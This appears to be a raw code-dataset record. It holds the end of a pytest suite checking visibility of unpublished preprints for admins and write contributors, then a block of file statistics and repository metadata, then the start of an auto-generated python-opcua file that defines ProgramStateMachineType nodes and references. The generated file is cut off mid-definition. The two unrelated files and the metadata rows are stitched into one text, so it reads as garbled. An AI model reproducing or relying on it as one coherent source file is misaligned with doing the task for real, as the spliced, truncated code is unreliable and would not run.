return ProjectFactory(creator=user_admin_contrib, is_public=True)
@pytest.fixture()
def url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@pytest.fixture()
def preprint_unpublished(
self,
user_admin_contrib,
provider_one,
project_public,
subject):
return PreprintFactory(creator=user_admin_contrib,
filename='mgla.pdf',
provider=provider_one,
subjects=[[subject._id]],
project=project_public,
is_published=False,
machine_state=DefaultStates.INITIAL.value)
def test_unpublished_visible_to_admins(
self,
app,
user_admin_contrib,
preprint_unpublished,
preprint_published,
url):
res = app.get(url, auth=user_admin_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
def test_unpublished_invisible_to_write_contribs(
self,
app,
user_write_contrib,
preprint_unpublished,
preprint_published,
url):
res = app.get(url, auth=user_write_contrib.auth)
assert len(res.json['data']) == 1
assert preprint_unpublished._id not in [
d['id'] for d in res.json['data']]
def test_filter_published_false_write_contrib(
self, app, user_write_contrib, preprint_unpublished, url):
res = app.get(
'{}filter[is_published]=false'.format(url),
auth=user_write_contrib.auth)
assert len(res.json['data']) == 0
class TestPreprintIsPublishedListMatchesDetail(
PreprintListMatchesPreprintDetailMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory()
@pytest.fixture()
def provider_two(self, provider_one):
return provider_one
@pytest.fixture()
def project_published(self, user_admin_contrib):
return ProjectFactory(creator=user_admin_contrib, is_public=True)
@pytest.fixture()
def project_public(self, user_admin_contrib, user_write_contrib):
project_public = ProjectFactory(
creator=user_admin_contrib, is_public=True)
project_public.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project_public
@pytest.fixture()
def preprint_unpublished(
self,
user_admin_contrib,
provider_one,
project_public,
subject):
return PreprintFactory(creator=user_admin_contrib,
filename='mgla.pdf',
provider=provider_one,
subjects=[[subject._id]],
project=project_public,
is_published=False)
@pytest.fixture()
def list_url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@pytest.fixture()
def detail_url(self, preprint_unpublished):
return '/{}preprints/{}/'.format(API_BASE, preprint_unpublished._id)
def test_unpublished_visible_to_admins(
self,
app,
user_admin_contrib,
preprint_unpublished,
preprint_published,
list_url,
detail_url):
res = app.get(list_url, auth=user_admin_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
res = app.get(detail_url, auth=user_admin_contrib.auth)
assert res.json['data']['id'] == preprint_unpublished._id
def test_unpublished_invisible_to_write_contribs(
self,
app,
user_write_contrib,
preprint_unpublished,
preprint_published,
list_url,
detail_url):
res = app.get(list_url, auth=user_write_contrib.auth)
assert len(res.json['data']) == 1
assert preprint_unpublished._id not in [
d['id'] for d in res.json['data']]
res = app.get(
detail_url,
auth=user_write_contrib.auth,
expect_errors=True)
assert res.status_code == 403
class TestReviewsInitialPreprintIsPublishedListMatchesDetail(
PreprintListMatchesPreprintDetailMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory(reviews_workflow='pre-moderation')
@pytest.fixture()
def provider_two(self, provider_one):
return provider_one
@pytest.fixture()
def project_published(self, user_admin_contrib):
return ProjectFactory(creator=user_admin_contrib, is_public=True)
@pytest.fixture()
def project_public(self, user_admin_contrib, user_write_contrib):
project_public = ProjectFactory(
creator=user_admin_contrib, is_public=True)
project_public.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project_public
@pytest.fixture()
def preprint_unpublished(
self,
user_admin_contrib,
provider_one,
project_public,
subject):
return PreprintFactory(creator=user_admin_contrib,
filename='mgla.pdf',
provider=provider_one,
subjects=[[subject._id]],
project=project_public,
is_published=False,
machine_state=DefaultStates.INITIAL.value)
@pytest.fixture()
def list_url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@pytest.fixture()
def detail_url(self, preprint_unpublished):
return '/{}preprints/{}/'.format(API_BASE, preprint_unpublished._id)
def test_unpublished_visible_to_admins(
self,
app,
user_admin_contrib,
preprint_unpublished,
preprint_published,
list_url,
detail_url):
res = app.get(list_url, auth=user_admin_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
res = app.get(detail_url, auth=user_admin_contrib.auth)
assert res.json['data']['id'] == preprint_unpublished._id
def test_unpublished_invisible_to_write_contribs(
self,
app,
user_write_contrib,
preprint_unpublished,
preprint_published,
list_url,
detail_url):
res = app.get(list_url, auth=user_write_contrib.auth)
assert len(res.json['data']) == 1
assert preprint_unpublished._id not in [
d['id'] for d in res.json['data']]
res = app.get(
detail_url,
auth=user_write_contrib.auth,
expect_errors=True)
assert res.status_code == 403
class TestReviewsPendingPreprintIsPublishedListMatchesDetail(
PreprintListMatchesPreprintDetailMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def provider_one(self):
return PreprintProviderFactory(reviews_workflow='pre-moderation')
@pytest.fixture()
def provider_two(self, provider_one):
return provider_one
@pytest.fixture()
def project_published(self, user_admin_contrib):
return ProjectFactory(creator=user_admin_contrib, is_public=True)
@pytest.fixture()
def project_public(self, user_admin_contrib, user_write_contrib):
project_public = ProjectFactory(
creator=user_admin_contrib, is_public=True)
project_public.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project_public
@pytest.fixture()
def preprint_unpublished(
self,
user_admin_contrib,
provider_one,
project_public,
subject):
return PreprintFactory(creator=user_admin_contrib,
filename='mgla.pdf',
provider=provider_one,
subjects=[[subject._id]],
project=project_public,
is_published=False,
machine_state=DefaultStates.PENDING.value)
@pytest.fixture()
def list_url(self):
return '/{}preprints/?version=2.2&'.format(API_BASE)
@pytest.fixture()
def detail_url(self, preprint_unpublished):
return '/{}preprints/{}/'.format(API_BASE, preprint_unpublished._id)
def test_unpublished_visible_to_admins(
self,
app,
user_admin_contrib,
preprint_unpublished,
preprint_published,
list_url,
detail_url):
res = app.get(list_url, auth=user_admin_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
res = app.get(detail_url, auth=user_admin_contrib.auth)
assert res.json['data']['id'] == preprint_unpublished._id
def test_unpublished_visible_to_write_contribs(
self,
app,
user_write_contrib,
preprint_unpublished,
preprint_published,
list_url,
detail_url):
res = app.get(list_url, auth=user_write_contrib.auth)
assert len(res.json['data']) == 2
assert preprint_unpublished._id in [d['id'] for d in res.json['data']]
res = app.get(
detail_url,
auth=user_write_contrib.auth,
expect_errors=True)
assert res.json['data']['id'] == preprint_unpublished._id
class TestPreprintIsValidList(PreprintIsValidListMixin):
@pytest.fixture()
def user_admin_contrib(self):
return AuthUserFactory()
@pytest.fixture()
def project(self, user_admin_contrib, user_write_contrib):
project = ProjectFactory(creator=user_admin_contrib, is_public=True)
project.add_contributor(
user_write_contrib,
permissions=permissions.DEFAULT_CONTRIBUTOR_PERMISSIONS,
save=True)
return project
@pytest.fixture()
def provider(self):
return PreprintProviderFactory()
@pytest.fixture()
def url(self, project):
return '/{}preprints/?version=2.2&'.format(API_BASE)
| 34.312102
| 117
| 0.613222
| 3,998
| 37,709
| 5.474487
| 0.068534
| 0.038607
| 0.047517
| 0.026134
| 0.804679
| 0.779047
| 0.763467
| 0.747521
| 0.739297
| 0.719742
| 0
| 0.00437
| 0.296083
| 37,709
| 1,098
| 118
| 34.343352
| 0.820185
| 0.000318
| 0
| 0.743287
| 0
| 0
| 0.063404
| 0.016262
| 0
| 0
| 0
| 0
| 0.087003
| 1
| 0.116004
| false
| 0
| 0.016112
| 0.061224
| 0.216971
| 0.220193
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07e81a67a0746b6303dc66509a4397bf0142b37c
| 98,771
|
py
|
Python
|
tests/python-opcua/opcua/server/standard_address_space/standard_address_space_part10.py
|
iit-danieli-joint-lab/opcua-modeling-tool
|
f8c3d940a61334b0e6deda9099844a6b429d7c08
|
[
"MIT"
] | 32
|
2018-03-27T12:25:24.000Z
|
2022-01-11T21:20:06.000Z
|
tests/python-opcua/opcua/server/standard_address_space/standard_address_space_part10.py
|
iit-danieli-joint-lab/opcua-modeling-tool
|
f8c3d940a61334b0e6deda9099844a6b429d7c08
|
[
"MIT"
] | 5
|
2018-04-09T07:35:54.000Z
|
2020-03-10T11:04:45.000Z
|
tests/python-opcua/opcua/server/standard_address_space/standard_address_space_part10.py
|
iit-danieli-joint-lab/opcua-modeling-tool
|
f8c3d940a61334b0e6deda9099844a6b429d7c08
|
[
"MIT"
] | 12
|
2018-06-04T20:06:06.000Z
|
2021-07-02T22:09:53.000Z
|
"""
DO NOT EDIT THIS FILE!
It is automatically generated from opcfoundation.org schemas.
"""
from opcua import ua
def create_standard_address_space_Part10(server):
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2391")
node.BrowseName = ua.QualifiedName.from_string("ProgramStateMachineType")
node.NodeClass = ua.NodeClass.ObjectType
node.ParentNodeId = ua.NodeId.from_string("i=2771")
node.ReferenceTypeId = ua.NodeId.from_string("i=45")
attrs = ua.ObjectTypeAttributes()
attrs.Description = ua.LocalizedText("A state machine for a program.")
attrs.DisplayName = ua.LocalizedText("ProgramStateMachineType")
attrs.IsAbstract = False
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3830")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3835")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2392")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2393")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2394")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2395")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2396")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2397")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2398")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2399")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3850")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2400")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2402")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2404")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2406")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2408")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2410")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2412")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2414")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2416")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2418")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2420")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2422")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2424")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2426")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2427")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2428")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2429")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=2391")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2430")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3830")
node.BrowseName = ua.QualifiedName.from_string("CurrentState")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2760")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("CurrentState")
attrs.DataType = ua.NodeId(ua.ObjectIds.LocalizedText)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=3830")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3831")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=3830")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3833")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3830")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3831")
node.BrowseName = ua.QualifiedName.from_string("Id")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3830")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Id")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3831")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3833")
node.BrowseName = ua.QualifiedName.from_string("Number")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3830")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Number")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3833")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3835")
node.BrowseName = ua.QualifiedName.from_string("LastTransition")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2767")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("LastTransition")
attrs.DataType = ua.NodeId(ua.ObjectIds.LocalizedText)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=3835")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3836")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=3835")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3838")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=3835")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3839")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3835")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3836")
node.BrowseName = ua.QualifiedName.from_string("Id")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3835")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Id")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3836")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3838")
node.BrowseName = ua.QualifiedName.from_string("Number")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3835")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Number")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3838")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3839")
node.BrowseName = ua.QualifiedName.from_string("TransitionTime")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3835")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionTime")
attrs.DataType = ua.NodeId.from_string("i=294")
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3839")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2392")
node.BrowseName = ua.QualifiedName.from_string("Creatable")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Creatable")
attrs.DataType = ua.NodeId(ua.ObjectIds.Boolean)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2393")
node.BrowseName = ua.QualifiedName.from_string("Deletable")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Deletable")
attrs.DataType = ua.NodeId(ua.ObjectIds.Boolean)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2393")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2394")
node.BrowseName = ua.QualifiedName.from_string("AutoDelete")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("AutoDelete")
attrs.DataType = ua.NodeId(ua.ObjectIds.Boolean)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2394")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=79")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2395")
node.BrowseName = ua.QualifiedName.from_string("RecycleCount")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("RecycleCount")
attrs.DataType = ua.NodeId(ua.ObjectIds.Int32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2395")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2396")
node.BrowseName = ua.QualifiedName.from_string("InstanceCount")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
